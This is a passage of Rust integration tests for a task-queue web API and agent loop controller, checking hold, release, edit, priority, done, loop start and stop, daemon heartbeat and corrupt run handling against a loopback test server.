10112 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
10113 task_run_view(
10114 "20260902-140501-aaaa",
10115 Some(&s),
10116 RunSlot {
10117 n: 1,
10118 resumed: false,
10119 resumed_later: Some(2),
10120 prior: None,
10121 last: false,
10122 },
10123 &task,
10124 )
10125 }
10126
10127 #[test]
10128 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
10129 let v = earlier_pass_view(|_| {});
10130 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
10131 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10132 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
10133 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
10134 assert_eq!(v.exit, RunExit::Interrupted);
10135 assert_eq!(v.attempt, AttemptCost::Unknown);
10136 }
10137
10138 #[test]
10139 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
10140 let v = earlier_pass_view(|s| {
10141 s.quota.push(crate::run::QuotaLoss {
10142 seat: "judge-1".to_owned(),
10143 node: "judge".to_owned(),
10144 at: Timestamp::now(),
10145 reset: None,
10146 });
10147 });
10148 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
10149 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10150 assert_eq!(v.attempt, AttemptCost::Unknown);
10151 }
10152
10153 #[test]
10154 fn the_current_pass_states_its_recorded_cause_and_cost() {
10155 let slot = || RunSlot {
10156 n: 1,
10157 resumed: false,
10158 resumed_later: None,
10159 prior: None,
10160 last: true,
10161 };
10162 let task = flow_task(&["20260902-140501-aaaa"]);
10163 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
10164 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
10165 assert_eq!(
10166 (v.exit, v.attempt),
10167 (RunExit::Parked, AttemptCost::Refunded)
10168 );
10169 let spent = flow_run(RunStatus::Blocked, |_| {});
10170 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
10171 assert_eq!(v.attempt, AttemptCost::Spent);
10172 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
10173 }
10174
10175 #[tokio::test]
10176 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
10177 let f = Fixture::start().await;
10178 let queue = f.queue();
10179 let mut task = Task::new(
10180 "spent".to_owned(),
10181 "Try again".to_owned(),
10182 PathBuf::from("/repo/magi"),
10183 Source::Human,
10184 );
10185 task.start("20260902-140502-bbbb".to_owned());
10186 task.fail("agent gave up", 9);
10187 queue.put(&mut task).expect("file the task");
10188
10189 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10190 assert_eq!(held.status, 200);
10191 assert_eq!(held.json()["status_str"], "held");
10192
10193 let released = f
10194 .post(&format!("/api/queue/{}/release", task.id), None)
10195 .await;
10196 assert_eq!(released.status, 200);
10197 assert_eq!(released.json()["status_str"], "queued");
10198 assert_eq!(
10199 released.json()["attempts"],
10200 0,
10201 "release is a real second chance, not an instant re-hold"
10202 );
10203 assert_eq!(
10204 queue.get(&task.id).expect("reload").status,
10205 TaskStatus::Queued,
10206 "the change is on disk, not only in the reply"
10207 );
10208 assert!(
10209 !f.home
10210 .path()
10211 .join("queue")
10212 .join(format!("{}.lock", task.id))
10213 .exists(),
10214 "the claim the mutation took is released again"
10215 );
10216 }
10217
10218 #[tokio::test]
10219 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
10220 let f = Fixture::start().await;
10221 let queue = f.queue();
10222 let mut task = Task::new(
10223 "busy".to_owned(),
10224 "Running right now".to_owned(),
10225 PathBuf::from("/repo/magi"),
10226 Source::Human,
10227 );
10228 queue.put(&mut task).expect("file the task");
10229 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10230
10231 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10232
10233 assert_eq!(res.status, 409);
10234 assert_eq!(
10235 queue.get(&task.id).expect("reload").status,
10236 TaskStatus::Queued,
10237 "the refused hold changed nothing"
10238 );
10239 }
10240
10241 #[tokio::test]
10242 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
10243 let f = Fixture::start().await;
10244 let queue = f.queue();
10245 let mut task = Task::new(
10246 "waiting on the migration".to_owned(),
10247 "Do the thing".to_owned(),
10248 PathBuf::from("/repo/magi"),
10249 Source::Human,
10250 );
10251 queue.put(&mut task).expect("file the task");
10252
10253 let held = f
10254 .post(
10255 &format!("/api/queue/{}/hold", task.id),
10256 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
10257 )
10258 .await;
10259 assert_eq!(held.status, 200, "{}", held.body);
10260 assert_eq!(held.json()["status_str"], "held");
10261 assert_eq!(
10262 held.json()["hold_reason"],
10263 "waiting for 20260101-000000-aaaa to land"
10264 );
10265
10266 let listed = f.get("/api/queue").await.json();
10267 assert_eq!(
10268 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
10269 "the card reads the reason off the same list route"
10270 );
10271
10272 let mut plain = Task::new(
10275 "no reason given".to_owned(),
10276 "Do another thing".to_owned(),
10277 PathBuf::from("/repo/magi"),
10278 Source::Human,
10279 );
10280 queue.put(&mut plain).expect("file the task");
10281 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
10282 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
10283 assert!(held_plain.json()["hold_reason"].is_null());
10284
10285 let released = f
10286 .post(&format!("/api/queue/{}/release", task.id), None)
10287 .await;
10288 assert_eq!(released.status, 200);
10289 assert!(
10290 released.json()["hold_reason"].is_null(),
10291 "a release must clear the reason so the next hold does not inherit it"
10292 );
10293 }
10294
10295 #[tokio::test]
10296 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
10297 let f = Fixture::start().await;
10298 let queue = f.queue();
10299 let mut older = Task::new(
10300 "filed first".to_owned(),
10301 "x".to_owned(),
10302 PathBuf::from("/repo/magi"),
10303 Source::Human,
10304 );
10305 older.id = "20260101-000001-aaaa".to_owned();
10306 let mut newer = Task::new(
10307 "filed second".to_owned(),
10308 "x".to_owned(),
10309 PathBuf::from("/repo/magi"),
10310 Source::Human,
10311 );
10312 newer.id = "20260101-000002-bbbb".to_owned();
10313 queue.put(&mut older).expect("file older");
10314 queue.put(&mut newer).expect("file newer");
10315
10316 let before = f.get("/api/queue").await.json();
10319 assert_eq!(before[0]["id"], newer.id);
10320 assert_eq!(before[1]["id"], older.id);
10321
10322 let raised = f
10326 .post(
10327 &format!("/api/queue/{}/priority", older.id),
10328 Some(r#"{"priority":10}"#),
10329 )
10330 .await;
10331 assert_eq!(raised.status, 200, "{}", raised.body);
10332 assert_eq!(raised.json()["priority"], 10);
10333
10334 let after = f.get("/api/queue").await.json();
10335 let names: Vec<&str> = after
10336 .as_array()
10337 .unwrap()
10338 .iter()
10339 .map(|t| t["id"].as_str().unwrap())
10340 .collect();
10341 assert_eq!(names[0], older.id, "the raised task now sorts first");
10345 }
10346
10347 #[tokio::test]
10348 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
10349 let f = Fixture::start().await;
10350 let queue = f.queue();
10351 let mut task = Task::new(
10352 "in flight".to_owned(),
10353 "x".to_owned(),
10354 PathBuf::from("/repo/magi"),
10355 Source::Human,
10356 );
10357 task.start("20260902-140502-bbbb".to_owned());
10358 queue.put(&mut task).expect("file the task");
10359
10360 let res = f
10361 .post(
10362 &format!("/api/queue/{}/priority", task.id),
10363 Some(r#"{"priority":9}"#),
10364 )
10365 .await;
10366 assert_eq!(res.status, 400, "{}", res.body);
10367 assert!(
10368 res.json()["error"]
10369 .as_str()
10370 .is_some_and(|e| e.contains("running")),
10371 "{}",
10372 res.body
10373 );
10374 assert_eq!(
10375 queue.get(&task.id).expect("reload").priority,
10376 0,
10377 "the refused write must not partially apply"
10378 );
10379 }
10380
10381 #[tokio::test]
10382 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
10383 let f = Fixture::start().await;
10384 let queue = f.queue();
10385 let mut task = Task::new(
10386 "old title".to_owned(),
10387 "old instruction".to_owned(),
10388 PathBuf::from("/repo/magi"),
10389 Source::Agent {
10390 run: "20260101-000000-beef".to_owned(),
10391 node: "implement".to_owned(),
10392 },
10393 );
10394 task.runs.push("20260101-000000-beef".to_owned());
10395 queue.put(&mut task).expect("file the task");
10396 let created_at = task.created_at;
10397
10398 let edited = f
10399 .post(
10400 &format!("/api/queue/{}/edit", task.id),
10401 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
10402 )
10403 .await;
10404 assert_eq!(edited.status, 200, "{}", edited.body);
10405 let body = edited.json();
10406 assert_eq!(body["title"], "new title");
10407 assert_eq!(body["instruction"], "new instruction");
10408 assert_eq!(body["id"], task.id, "editing must not mint a new id");
10409 assert_eq!(body["created_at"], created_at.to_string());
10410 assert_eq!(
10411 body["source"]["kind"], "agent",
10412 "editing a task an agent filed must not turn it human: {body}"
10413 );
10414 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
10415
10416 let reloaded = queue.get(&task.id).expect("reload");
10417 assert_eq!(reloaded.title, "new title");
10418 assert_eq!(reloaded.instruction, "new instruction");
10419 }
10420
10421 #[tokio::test]
10422 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
10423 let tmp = TempDir::new().expect("tempdir");
10426 let repo = tmp.path().join("repo");
10427 std::fs::create_dir_all(&repo).expect("repo dir");
10428 let judge = MOCK_AGENT_TOML.replace(
10429 "printf ok",
10430 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
10431 );
10432 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
10433 let f = Fixture::with_repo(repo.clone()).await;
10434 let queue = f.queue();
10435 let mut owner = Task::new(
10436 "owner".to_owned(),
10437 "review it".to_owned(),
10438 repo.clone(),
10439 Source::Human,
10440 );
10441 owner.review_branch = Some("magi/ab12/A".to_owned());
10442 queue.put(&mut owner).expect("file the owner");
10443 let mut task = Task::new(
10444 "draft".to_owned(),
10445 "old".to_owned(),
10446 repo.clone(),
10447 Source::Human,
10448 );
10449 queue.put(&mut task).expect("file the draft");
10450 let url = format!("/api/queue/{}/edit", task.id);
10451
10452 let refused = f
10453 .post(
10454 &url,
10455 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
10456 )
10457 .await;
10458 assert_eq!(refused.status, 409, "{}", refused.body);
10459 let msg = refused.json()["error"]
10460 .as_str()
10461 .unwrap_or_default()
10462 .to_owned();
10463 assert!(
10464 msg.contains("magi/ab12/A") && msg.contains("force"),
10465 "{msg}"
10466 );
10467 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
10468
10469 let forced = f
10470 .post(
10471 &url,
10472 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
10473 )
10474 .await;
10475 assert_eq!(forced.status, 200, "{}", forced.body);
10476 }
10477
10478 #[tokio::test]
10479 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
10480 let f = Fixture::start().await;
10481 let queue = f.queue();
10482 let mut task = Task::new(
10483 "in flight".to_owned(),
10484 "do not touch".to_owned(),
10485 PathBuf::from("/repo/magi"),
10486 Source::Human,
10487 );
10488 task.start("20260902-140502-bbbb".to_owned());
10489 queue.put(&mut task).expect("file the task");
10490
10491 let res = f
10492 .post(
10493 &format!("/api/queue/{}/edit", task.id),
10494 Some(r#"{"title":"x","instruction":"y"}"#),
10495 )
10496 .await;
10497 assert_eq!(res.status, 400, "{}", res.body);
10498 assert!(
10499 res.json()["error"]
10500 .as_str()
10501 .is_some_and(|e| e.contains("running")),
10502 "{}",
10503 res.body
10504 );
10505 assert_eq!(
10506 queue.get(&task.id).expect("reload").instruction,
10507 "do not touch",
10508 "the refused edit must not change the file"
10509 );
10510 }
10511
10512 #[tokio::test]
10513 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
10514 let f = Fixture::start().await;
10515 let queue = f.queue();
10516 let mut task = Task::new(
10517 "busy".to_owned(),
10518 "Running right now".to_owned(),
10519 PathBuf::from("/repo/magi"),
10520 Source::Human,
10521 );
10522 queue.put(&mut task).expect("file the task");
10523 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10524
10525 let priority = f
10526 .post(
10527 &format!("/api/queue/{}/priority", task.id),
10528 Some(r#"{"priority":9}"#),
10529 )
10530 .await;
10531 assert_eq!(priority.status, 409, "{}", priority.body);
10532
10533 let edit = f
10534 .post(
10535 &format!("/api/queue/{}/edit", task.id),
10536 Some(r#"{"title":"x","instruction":"y"}"#),
10537 )
10538 .await;
10539 assert_eq!(edit.status, 409, "{}", edit.body);
10540 }
10541
10542 #[tokio::test]
10543 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
10544 let f = Fixture::start().await;
10545 let queue = f.queue();
10546 let mut task = Task::new(
10547 "shipped by hand".to_owned(),
10548 "merged outside the loop".to_owned(),
10549 PathBuf::from("/repo/magi"),
10550 Source::Agent {
10551 run: "20260101-000000-b455".to_owned(),
10552 node: "implement".to_owned(),
10553 },
10554 );
10555 task.runs.push("20260101-000000-b455".to_owned());
10556 task.runs.push("20260101-000000-9af4".to_owned());
10557 queue.put(&mut task).expect("file the task");
10558 let created_at = task.created_at;
10559
10560 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10561 assert_eq!(done.status, 200, "{}", done.body);
10562 assert_eq!(done.json()["status_str"], "done");
10563
10564 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
10565 assert_eq!(
10566 reloaded.runs,
10567 ["20260101-000000-b455", "20260101-000000-9af4"]
10568 );
10569 assert_eq!(
10570 reloaded.source,
10571 Source::Agent {
10572 run: "20260101-000000-b455".to_owned(),
10573 node: "implement".to_owned(),
10574 }
10575 );
10576 assert_eq!(reloaded.created_at, created_at);
10577 }
10578
10579 #[tokio::test]
10580 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
10581 let f = Fixture::start().await;
10586 let queue = f.queue();
10587 let mut task = Task::new(
10588 "landed while held".to_owned(),
10589 "x".to_owned(),
10590 PathBuf::from("/repo/magi"),
10591 Source::Human,
10592 );
10593 task.hold_manual(Some("waiting on 3ed9".to_owned()));
10594 queue.put(&mut task).expect("file the held task");
10595
10596 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10597 assert_eq!(done.status, 200, "{}", done.body);
10598 assert_eq!(done.json()["status_str"], "done");
10599 assert!(
10600 done.json()["hold_reason"].is_null(),
10601 "a done task cannot still be waiting on something: {}",
10602 done.body
10603 );
10604 }
10605
10606 #[tokio::test]
10607 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
10608 let f = Fixture::start().await;
10613 let queue = f.queue();
10614 let runs = f.runs();
10615 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
10616 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
10620
10621 let mut task = Task::new(
10622 "landed by hand".to_owned(),
10623 "x".to_owned(),
10624 PathBuf::from("/repo/magi"),
10625 Source::Human,
10626 );
10627 task.runs.push("20260101-000000-doa1".to_owned());
10628 task.runs.push("20260101-000000-doa2".to_owned());
10629 queue.put(&mut task).expect("file the task");
10630
10631 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10632 assert_eq!(done.status, 200, "{}", done.body);
10633
10634 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10635 .expect("run still on disk under this fixture's own home");
10636 assert_eq!(
10637 reloaded_run.status,
10638 RunStatus::Superseded,
10639 "closing the task by hand must relabel the earlier blocked attempt exactly \
10640 like the loop's own settle path does"
10641 );
10642 }
10643
10644 #[tokio::test]
10645 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10646 let f = Fixture::start().await;
10651 let queue = f.queue();
10652 let runs = f.runs();
10653 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10654 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10655
10656 let mut task = Task::new(
10657 "closed with nothing actually landed".to_owned(),
10658 "x".to_owned(),
10659 PathBuf::from("/repo/magi"),
10660 Source::Human,
10661 );
10662 task.runs.push("20260101-000000-dob1".to_owned());
10663 task.runs.push("20260101-000000-dob2".to_owned());
10664 queue.put(&mut task).expect("file the task");
10665
10666 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10667 assert_eq!(done.status, 200, "{}", done.body);
10668
10669 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10670 .expect("run still on disk under this fixture's own home");
10671 assert_eq!(
10672 reloaded_run.status,
10673 RunStatus::Blocked,
10674 "the last recorded attempt never landed, so the earlier one must not be \
10675 relabelled as superseded by it"
10676 );
10677 }
10678
10679 #[tokio::test]
10680 async fn unknown_ids_are_json_not_found_on_both_stores() {
10681 let f = Fixture::start().await;
10682
10683 let run = f.get("/api/runs/nosuchrun").await;
10684 let task = f.post("/api/queue/nosuchtask/hold", None).await;
10685
10686 assert_eq!(run.status, 404);
10687 assert_eq!(task.status, 404);
10688 assert!(
10689 run.json()["error"]
10690 .as_str()
10691 .is_some_and(|e| e.contains("run")),
10692 "the error names what was not found: {}",
10693 run.body
10694 );
10695 assert!(
10696 task.json()["error"]
10697 .as_str()
10698 .is_some_and(|e| e.contains("task")),
10699 "the error names what was not found: {}",
10700 task.body
10701 );
10702 }
10703
10704 #[tokio::test]
10705 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
10706 let f = Fixture::start().await;
10707
10708 let missing = f.get("/api/health").await.json();
10709 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
10710
10711 write_daemon(
10712 f.home.path(),
10713 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10714 );
10715 let stale = f.get("/api/health").await.json();
10716 assert_eq!(
10717 stale["daemon"]["running"], false,
10718 "a minute without a heartbeat is a dead daemon, not a busy one"
10719 );
10720 assert!(
10721 stale["daemon"]["stale_for_secs"]
10722 .as_i64()
10723 .is_some_and(|s| s >= 55),
10724 "staleness is reported so the UI can say how long: {stale}"
10725 );
10726
10727 write_daemon(f.home.path(), Timestamp::now());
10728 let fresh = f.get("/api/health").await.json();
10729 assert_eq!(fresh["daemon"]["running"], true);
10730 assert_eq!(fresh["daemon"]["idle"], false);
10731 assert_eq!(fresh["daemon"]["pid"], 4242);
10732 assert_eq!(fresh["daemon"]["completed"], 7);
10733 assert_eq!(
10734 fresh["daemon"]["current"][0]["task"],
10735 "20260902-140501-aaaa"
10736 );
10737 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
10738 }
10739
10740 #[tokio::test]
10741 async fn the_loop_is_not_running_until_something_starts_it() {
10742 let f = Fixture::start().await;
10743
10744 let view = f.get("/api/loop").await.json();
10745 assert_eq!(view["running"], false);
10746 assert_eq!(
10747 view["owned"], false,
10748 "nobody owns a loop that does not exist: {view}"
10749 );
10750 assert_eq!(view["stopping"], false);
10751 assert_eq!(view["last_error"], Value::Null);
10752 assert_eq!(view["daemon"]["running"], false);
10753 assert_eq!(
10754 view["repo"], "/repo/magi",
10755 "the repository a start would use, named before it is started"
10756 );
10757 }
10758
10759 #[tokio::test]
10760 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10761 let f = Fixture::start().await;
10762
10763 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10764 assert_eq!(res.status, 200, "{}", res.body);
10765 let view = res.json();
10766 assert_eq!(view["running"], true);
10767 assert_eq!(
10768 view["owned"], true,
10769 "the loop the UI started is the UI's own to stop: {view}"
10770 );
10771 assert_eq!(
10772 view["merge"],
10773 Value::Null,
10774 "no override was given, so each repository's own config decides"
10775 );
10776
10777 let health = f.get("/api/health").await.json();
10781 assert_eq!(health["loop"]["running"], true, "{health}");
10782 assert_eq!(health["loop"]["owned"], true, "{health}");
10783
10784 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10785 }
10786
10787 #[tokio::test]
10788 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10789 let f = Fixture::start().await;
10790 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10791 assert_eq!(first.status, 200, "{}", first.body);
10792
10793 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10794 assert_eq!(
10795 again.status, 409,
10796 "two loops on one queue race for the same claims: {}",
10797 again.body
10798 );
10799 assert!(
10800 again.json()["error"]
10801 .as_str()
10802 .is_some_and(|e| e.contains("already running the loop")),
10803 "the refusal has to say why: {}",
10804 again.body
10805 );
10806 assert_eq!(
10807 f.get("/api/loop").await.json()["running"],
10808 true,
10809 "and the loop that was already running is untouched by it"
10810 );
10811
10812 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10813 }
10814
10815 #[tokio::test]
10816 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
10817 let f = Fixture::start().await;
10818 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10819
10820 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10821 assert_eq!(
10822 res.status, 200,
10823 "the answer must not wait for the loop: a run in flight is tens of \
10824 minutes and the operator is holding a phone: {}",
10825 res.body
10826 );
10827
10828 let view = settled(&f, |v| v["running"] == false).await;
10829 assert_eq!(view["owned"], false);
10830 assert_eq!(
10831 view["stopping"], false,
10832 "a loop that has stopped is not still stopping: {view}"
10833 );
10834 assert_eq!(
10835 view["last_error"],
10836 Value::Null,
10837 "a loop that was asked to stop did not fail: {view}"
10838 );
10839
10840 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10843 assert_eq!(twice.status, 200, "{}", twice.body);
10844 }
10845
10846 #[tokio::test]
10847 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
10848 let f = Fixture::start().await;
10849 write_daemon(f.home.path(), Timestamp::now());
10852
10853 let view = f.get("/api/loop").await.json();
10854 assert_eq!(view["running"], false, "not in this process: {view}");
10855 assert_eq!(view["owned"], false, "and not this process's to control");
10856 assert_eq!(
10857 view["daemon"]["running"], true,
10858 "but a loop is alive somewhere, which is what the UI must say"
10859 );
10860 assert_eq!(view["daemon"]["pid"], 4242);
10861
10862 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
10863 let res = f.post("/api/loop", Some(body)).await;
10864 assert_eq!(
10865 res.status, 409,
10866 "neither button may pretend to work on someone else's loop: {}",
10867 res.body
10868 );
10869 assert!(
10870 res.json()["error"]
10871 .as_str()
10872 .is_some_and(|e| e.contains("4242")),
10873 "the refusal has to name the process the operator must go to: {}",
10874 res.body
10875 );
10876 }
10877 assert_eq!(
10878 f.get("/api/loop").await.json()["running"],
10879 false,
10880 "and the refusal started nothing"
10881 );
10882 }
10883
10884 #[tokio::test]
10885 async fn a_stale_status_file_is_not_a_foreign_owner() {
10886 let f = Fixture::start().await;
10887 write_daemon(
10888 f.home.path(),
10889 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10890 );
10891
10892 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10893 assert_eq!(
10894 res.status, 200,
10895 "a daemon killed a minute ago must not lock the loop out of its \
10896 own home for good: {}",
10897 res.body
10898 );
10899 assert_eq!(res.json()["running"], true);
10900
10901 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10902 }
10903
10904 #[tokio::test]
10905 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
10906 let f = Fixture::start().await;
10907 let before = f.get("/api/health").await.json()["loop_rev"]
10908 .as_u64()
10909 .expect("a loop revision");
10910
10911 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10912
10913 let after = f.get("/api/health").await.json()["loop_rev"]
10914 .as_u64()
10915 .expect("a loop revision");
10916 assert!(
10917 after > before,
10918 "the loop is in-process state, so this counter is the only thing \
10919 that tells a second device the first one started it: {before} -> \
10920 {after}"
10921 );
10922
10923 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10924 }
10925
10926 #[tokio::test]
10927 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
10928 let f = Fixture::with_loop(launch_broken).await;
10929
10930 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10931 assert_eq!(
10932 res.status, 200,
10933 "starting it is not the failure: {}",
10934 res.body
10935 );
10936
10937 let view = settled(&f, |v| v["last_error"].is_string()).await;
10938 assert_eq!(
10939 view["running"], false,
10940 "a loop that died must not read as running, or the operator has \
10941 nothing to press: {view}"
10942 );
10943 assert_eq!(view["owned"], false);
10944 assert!(
10945 view["last_error"]
10946 .as_str()
10947 .is_some_and(|e| e.contains("read-only file system")),
10948 "the phone is where a loop that died at 3am is visible: {view}"
10949 );
10950
10951 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10954 assert_eq!(again.status, 200, "{}", again.body);
10955 assert!(
10956 again.json()["last_error"]
10957 .as_str()
10958 .is_none_or(|e| !e.contains("read-only file system")),
10959 "a fresh start does not keep showing why the last one died: {}",
10960 again.body
10961 );
10962 }
10963
10964 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
10976 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10977 let home = TempDir::new().expect("temp home");
10978 let runs = home.path().join("runs");
10979 std::fs::create_dir_all(&runs).expect("runs dir");
10980 let ui = Ui::new(
10981 Queue::at(home.path().join("queue")),
10982 Questions::at(home.path().join("questions")),
10983 Talks::at(home.path().join("talks")),
10984 runs,
10985 home.path().to_path_buf(),
10986 PathBuf::from("/repo/magi"),
10987 )
10988 .with_worktrees_root(home.path().join("wt"))
10989 .with_launch(launch_knocking_on_the_way_out);
10990 let looping = ui.looping();
10991 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10992 .await
10993 .expect("bind loopback");
10994 let addr = listener.local_addr().expect("local addr");
10995 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10996 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10997
10998 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10999 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
11000
11001 let bound = std::sync::Mutex::new(None);
11016 hand_over(home.path(), &looping, served, |_| {
11017 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
11018 let attempt = loop {
11019 match std::net::TcpListener::bind(addr) {
11020 Ok(l) => {
11021 drop(l);
11022 break Ok(());
11023 }
11024 Err(e)
11025 if e.kind() == std::io::ErrorKind::AddrInUse
11026 && std::time::Instant::now() < deadline =>
11027 {
11028 std::thread::sleep(std::time::Duration::from_millis(10));
11029 }
11030 Err(e) => break Err(e.to_string()),
11031 }
11032 };
11033 *bound.lock().expect("bound") = Some(attempt);
11034 Ok(1)
11035 })
11036 .await
11037 .expect("hand over");
11038
11039 assert_eq!(
11040 *PARK_HEARD.lock().expect("park heard"),
11041 Some(200),
11042 "the deck must answer while the loop is parking"
11043 );
11044 let attempt = bound
11045 .lock()
11046 .expect("bound")
11047 .take()
11048 .expect("the successor was started");
11049 assert!(
11050 attempt.is_ok(),
11051 "and the address must be free by the time it is: {attempt:?}"
11052 );
11053 }
11054
11055 #[tokio::test]
11056 async fn a_newer_daemon_status_file_still_renders() {
11057 let f = Fixture::start().await;
11058 std::fs::write(
11061 f.home.path().join("daemon.json"),
11062 serde_json::json!({
11063 "schema": 2,
11064 "updated_at": Timestamp::now().to_string(),
11065 "idle": true,
11066 "surprise": { "nested": [1, 2, 3] },
11067 })
11068 .to_string(),
11069 )
11070 .expect("write daemon.json");
11071
11072 let health = f.get("/api/health").await;
11073
11074 assert_eq!(health.status, 200);
11075 assert_eq!(health.json()["daemon"]["running"], true);
11076 }
11077
11078 #[tokio::test]
11079 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
11080 let f = Fixture::start().await;
11081 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11082 let broken = f.runs().join("20260902-140502-bad");
11083 std::fs::create_dir_all(&broken).expect("run dir");
11084 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11085
11086 let list = f.get("/api/runs").await;
11087 let detail = f.get("/api/runs/20260902-140502-bad").await;
11088
11089 assert_eq!(list.status, 200);
11090 let listed = list.json();
11091 let ids: Vec<&str> = listed
11092 .as_array()
11093 .expect("an array")
11094 .iter()
11095 .map(|r| r["id"].as_str().expect("an id"))
11096 .collect();
11097 assert_eq!(
11098 ids,
11099 vec!["20260902-140501-good"],
11100 "one unreadable run must not cost the operator the whole history"
11101 );
11102 assert_eq!(detail.status, 500);
11103 assert!(
11104 detail.json()["error"]
11105 .as_str()
11106 .is_some_and(|e| e.contains("run.json")),
11107 "the failure names the file to look at: {}",
11108 detail.body
11109 );
11110 let health = f.get("/api/health").await;
11114 assert_eq!(health.json()["runs_unreadable"], 1);
11115 }
11116
11117 #[tokio::test]
11119 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
11120 let f = Fixture::start().await;
11121 let runs = f.runs();
11122 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
11123 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
11124 let path = runs.join("20260902-140502-bbbb").join("run.json");
11127 let mut v: serde_json::Value =
11128 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11129 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
11130 std::fs::write(&path, v.to_string()).unwrap();
11131 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
11132 std::fs::write(
11133 runs.join("20260902-140503-cccc").join("run.json"),
11134 "{ not json",
11135 )
11136 .unwrap();
11137
11138 let res = f.get("/api/search?scope=runs&q=quokka").await;
